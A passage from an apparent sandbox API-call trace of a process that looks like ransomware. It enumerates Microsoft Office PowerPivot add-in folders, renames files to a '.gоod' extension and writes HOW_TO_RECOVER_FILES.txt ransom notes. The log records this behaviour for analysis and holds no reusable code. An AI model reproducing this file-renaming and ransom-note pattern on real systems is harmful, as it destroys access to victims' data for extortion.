(in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0256.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0256.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x954dd1cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1145)) returned 1 [0256.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0256.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml.gоod")) returned 1 [0256.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0256.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0256.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0256.846] GetFileType (hFile=0x86c) returned 0x1 [0256.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0256.846] GetFileType (hFile=0x86c) returned 0x1 [0256.846] WriteFile (in: hFile=0x86c, lpBuffer=0x3fee5c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3fee5c8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0256.855] CloseHandle (hObject=0x86c) returned 1 [0256.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0256.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et", lpFilePart=0x0) returned 0x51 [0256.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0256.883] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1072, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b15891, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b15891, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c20913, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5ae112, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc70f7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc70f7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbc97147, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1480f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.885] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf755cb7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0256.886] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.886] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0256.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0256.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0256.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0256.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et", lpFilePart=0x0) returned 0x51 [0256.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0256.887] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.887] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1072, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.887] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b15891, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b15891, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0256.888] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c20913, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5ae112, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc70f7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc70f7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbc97147, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0256.889] FindNextFileW (in: 